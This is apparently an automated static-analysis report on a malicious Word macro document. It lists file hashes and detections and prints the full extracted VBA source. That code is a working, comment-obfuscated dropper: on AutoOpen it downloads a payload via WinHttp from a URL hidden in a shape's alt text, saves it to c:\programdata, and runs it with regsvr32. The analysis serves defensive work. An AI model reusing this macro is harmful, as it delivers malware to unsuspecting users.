Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b866e851733e1ccb…

MALICIOUS

Office (OOXML)

139.0 KB Created: 2020-10-06 09:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-09
MD5: dccc988f3a34daeb06dab178faa12535 SHA-1: 1e47b7d46d7b912c126c43bebbba169c8c872745 SHA-256: b866e851733e1ccbf736c501d0197c22cf721533fce9bc00c5becd0f355e5381
170 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Generic-9823534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823534-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set jgqOj = CreateObject("WinHttp.WinHttpRequest.5.1")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10744 bytes
SHA-256: cffb17f4550ab4aa4ade30d1d5684f0ccdd3f42aed996c06ca5db8a5ee6601a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Lgzab"
Sub VLgiO(WEfdA, Optional ByVal AeczV As String = "c:\programdata\FhiQb.pdf")
' Presence placidity paving
' Kiwi rigours skyscraper dropped
' Dimers impasse scalped
' Impudently
' Etcetera debilitating
' Bountifully lifestyle
' Fusilier headpiece central
' Prison rumba hailing
' Investigate joust
' Aitches accessions salvager pariah consultancy bounties strumming
' Mockingly hilltop headband roamer splattered
' Politicians stopping mess spillages baddy gliding
' Dipoles conformal incendiary derbies lawful jugglers snoozed
' Rayon obliges
' Clinically sticky
' Database spectacle
' Memento
' Marked
' Amalgamating resend distaff constructively
' Parties founded orthodox irreverent
' Wolf solver
' Manufacturers fatally shavings
' Pathetically caused
' Merger alp schoolgirl cloned similitude
' Tumblers suggestiveness
' Nutriment reimplementing inferential
' Ships
' Closeup goodnatured cabins flare
' Yesterdays sore
' Purposed grams announcing aggravate got
' Fawning albums dowsers stairwells illegibility unarm
' Affectations radial clattered
' Auditory preposterously splaying
' Ordaining officer
' Centralise fug comport ashcans rejoin
' Absurd
' Toothbrush contradicted subpoenaed distillation
' Overdoing eyelet majority demander
' Feedstock stratifying violist distant
jZVhJ = AeczV
Open jZVhJ For Output As #1
' Aromatics
' Tortured blondes preselected
' Interdicted ventriloquists principled environmental
' Hummingbird quaintly
' Arcading orderings
' Downs asymmetry
Print #1, WEfdA
' Rejoiced tweeter summonsed drummers
' Expropriate stockcar celibate extractable
' Bassoons frumpy conurbation
' Gropings certifiable
Close #1
End Sub
' Cascade clipboard salvers
' Turin
' Dames
' Wanderlust
' Camomile exaggerate vacates
' Waves gutturally circumlocutory conquistadores
Sub AutoOpen()
' Protectively laconic unavailability
' Conducts meanwhile parameter
' Pent hushing residue
' Hundred airships
' Seethes malady precautions malawi
' Squatter babbles strives
' Subscribers pinnacled statements wrack
' Shortcircuiting friskily unclimbable passionless fears
' Ambiguities hurdler inextensible
' Hummocks affectionate
' Draughts rant declivity
' Reanimated asian
' Unearthed mutinies
' Waked parenthesise coining
' Jingo
' Scripted twitch solemn irregularity
' Deceits
' Rhenium liberties enhancers
' Lightheaded
' Assassins tying textbook ligands
' Sables
' Receptiveness maimings
' Liaison journeyer salvaging graphite
' Circumventions issued
' Shams accommodation cousinly comments
' Blancmange ignition foot
' Undernourished megavolt
' Unfriendliest ganglion
' Unreliable spirituality
' Dissolution gender surcharged
Dim JJTBw As New kIbPj
' Excesses swirls overhang
' Longlived absconding exactly
' Benefice
' Sloped curtsied prettiest
' Unwound adieus sparkler
' Funerals
WEfdA = JJTBw.AlImd()
' Fullest
' Abysses ardently reintroduced
' Understatement baleful incompatibilities
' Glaciation tapeworm unhuman analogical
' Encrypt shredder
VLgiO PYRQd(WEfdA)
' Cigarette streptococci surfs sevens
' Discussing chiselling handicap absolutes graciously
' Outer application maximisation
' Spayed doffing
' Back containable unwearied overprinted reformations jeer jiffy
' Ominously thoughtful believed
' Accordance suckles jennets soundtracks
' Shunters prompter disloyalty
' Stewards embittered quenching marquetry lackeys
' Is unfavourable bikini
RrMYM XNYBo(0) + "r32 c:\programdata\FhiQb.pdf", ""
End Sub
Function UFLVz(wWnpq, STCZf)
' Adjoin dully gagged scholastic
' Gratuity scornfully unfettered
' Praiseworthy blustery joiner
' Loopholes enforce gibbon boom toned
' Great uncheckable roadway adroitness admirably drearier
UFLVz = Split(wWnpq, STCZf)
End Function

Attribute VB_Name = "wWYkw"
' Stonemasons coastal
' Bulldozing paratroop mnemonics unattainably
' Lowish gallants vibes
' Mitten guarantee accredits breadth
' Rejoin
Function PYRQd(JFeKP)
' Enema redeveloped traceless
' Aeronautics sever
' Devastating pedantically
' Buffalo maddeningly argumentatively
' Tightfisted crossfire delphi quantified
' Quietened
' Lad
PYRQd = StrConv(JFeKP, vbUnicode)
' Gene modesty pummels
' Catcher hawker scold owing
' Sic swines masquerading caviar disembowel preen tire
' Disbelievers downy parboil
End Function
' Parasitologist hilts
' Literatures legitimising bagging
' Legato trait
' Aims foresee maximise presupposition wickedest fidget
' Harmlessly stinger
Function MLhBm()
' Caboodle contestable inductions
' Settled sewings motherinlaw
' Speeches bribes
' Teeny lampoons fasted skirmishes
' Coordinators cosmetically opining bluster bandstand
' Arsenal deuces moray
' Clumps
' Overplayed codewords rands bounce
' Bards run soundest
' Immunoassay foreplay slides
' Mistakes serfs axon strictness
' Alighted erupting monstrosities predetermination
' Downpour workpieces defectiveness
MLhBm = ActiveDocument.shapes(1).AlternativeText
End Function
' Einstein navigable bunny slanderer ace
' Bullish penchant depositions disclaimed
' Bigapple bumpier calculate
' Damaged median undercoating
' Calibrating trademark kangaroos knob bypassing omitted
' Linchpin trophies rested
' Fetlock restock hotchpotch
Function XNYBo(UpBLl)
' Carborundum sweetish
' Tablebay silage
' Cereals defrosting
' Iberian impossibility comprising inexcusable
' Undertones diminished ducts conspiratorially
' Unscrewing
' Tasked emerging
' Skews conjunctive reverberations vocational
' Opposed warders tour entropic
' Entomologist
dXCpd = MLhBm()
Urcdd = UFLVz(dXCpd, "kristi")
KXIPz = Urcdd(UpBLl)
XNYBo = KXIPz
End Function

Attribute VB_Name = "kIbPj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Speciation inching
' Stridency implementations
' Transceiver stop siting arts saltpetre
' Earnings frisk
' Depute bluffing poseur tacitly
' Instrumentally fords brunette insurmountably
Function AlImd()
' Prayed shoal intelligentsia conjoined
' Receivership sleeplessness packings passages fastened loosed gyro
' Piteous overemphasise pierce aright unbuckling sings
' Tetrahedral decried pipings
' Itchiest replications shudder
Dim jgqOj As Object
' Journals assisting worry
' Sportswear tape overanxious
' Wheedled sizeable
' Rebuked
Set jgqOj = CreateObject("WinHttp.WinHttpRequest.5.1")
' Placements
' Noose crunch
' Sawn lobbyist misconstrued moistens
' Swarthier outran recreated dullness adjourn tending
' Possessions calloused
' Ecumenical lushness
' Normalisers tailwind sundial
' Streamlining diligently unplanned
' Crimson anthropic unlearn industriousness
' Welcome reshaping
' Exhibitions unpick expostulations reclaimed
' Flecked impositions obviate
' Stiletto allow belittling
' Worldfamous censorious hemisphere
' Undulating flinch
' Perversion refile inviolability
' Transposing mobilise wilier ripen
' Overshoot
' Semifinalists whistler
' Machines subverted glistened
' Hatched ladyship genuflections portends
' Ignoramuses believable
' Twelve entrants visor nitrogen sincerity
' Shibboleths gull oblige
' Layer averts
' Toward commandeer deifies counteracts
' Regionalisation flues phylogeny compulsive sadist
' Lenses snatched outstretched
' Wraith
' Theoretical baffler
' Visions flatulence watermelon
ovGjG = XNYBo(1)
' Pursing impulsiveness facetiousness
' Midwifery excitedly
' Benzene proofing paragraphs unwittingly
' Worrying empiricism entrancing
' Pries fringing nominal
' Towering soots offensiveness semite jailed
' Undaunted concertgoers quisling flagging thrush
jgqOj.Open "GET", ovGjG, False
' Cannily snorting mutilates
' Factory tames glowingly
' Undemocratically
' Ivies uninsurable unaffected postmark
' Tighten shapely blare
' Unreality summable coolest stinging
jgqOj.Send
' Mentality sodomise besotted disagreements allure translating pictures
' Year subtitles
' Concessional
' Redefining graders measurements stirfried
' Razorblades hush toxicological often
' Oddest
AlImd = jgqOj.responsebody
End Function

Attribute VB_Name = "LtDJi"
Sub RrMYM(mxoVR, tUalN)
' Spasmodically diseases
' Shortstaffed
' Defined
' Suds convalesce taffeta had
' Draughtiest pomades anthems regalia teaparty fife
' Smithereens tapir drills sufficient
' Archiving penalised undergrounds stockade amazed
' Ewe marathons
' Zeus
' Worksheets hymnbook derivatively apprehend
' Boniest nutritionists speculative duplication abused
Set wWOwf = CreateObject(tUalN + XNYBo(2) + "ll").exec(mxoVR)
' Parsonage coordinate catamarans
' Rear brandishing nucleic milieus coconuts
' Retaliatory sieves cashed
' Intrinsic exothermic algebras amended masterclass onslaught nestle
' Rhythmically begin gentleness citadel grumps anomalous bonfires ships
' Beefeater onus underweight heartiest
' Unroll cormorants yank disbelief
' Micrometres pouffe far entomologist fully mobs
' Formulae chromatograph undone awakes darted abominable
' Unworthily
' Hotheads assuming solids grievous sceptred
' Homogeneously saddlebags hopelessness gins
' Dirts sometime
' Proctors din shady
' Encrustation rills neared
' Geoscientific axles shoving
' Instructions mouldings nodules sicker twosome
' Worktop roof lentils unreadable underpay
' Predicting baled criminalised buzzer etymology
' Faceless service fretted coulomb inducible
' Woeful perkier prows
' Laxness sticky baaing handlebar stifle
' Recalculation backups commutativity barefooted
' Jaywalking cyphers wristband
' Betterment jug unmutilated caseload
' Householders weepy impotence merriest diagrams valiant
' Unseated peninsular quarrying plait ringside
' Welding mobilises lettuces shoves
' Solicitously lout hedged bloodlust struts oner
' Thickskinned
' Mourned
' Conserve disintegrates
' Delivery fever
' Namibia monotheists paganism bottoming
' Antrum endeavours
' Piercer hackneyed responses brawling sailed quovadis
' Imports winter predominates replied
' Testaments firebomb
' Schism styles ornate smearing taxed inorganic passionless
' Wreathing
' Departer biota
' Woods disdaining
' Fatalistic
' Inadvertence
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41472 bytes
SHA-256: e97efc33c2172752b76abd7d68cc1367f3ad2d775187841ca841451a5dc1c7c4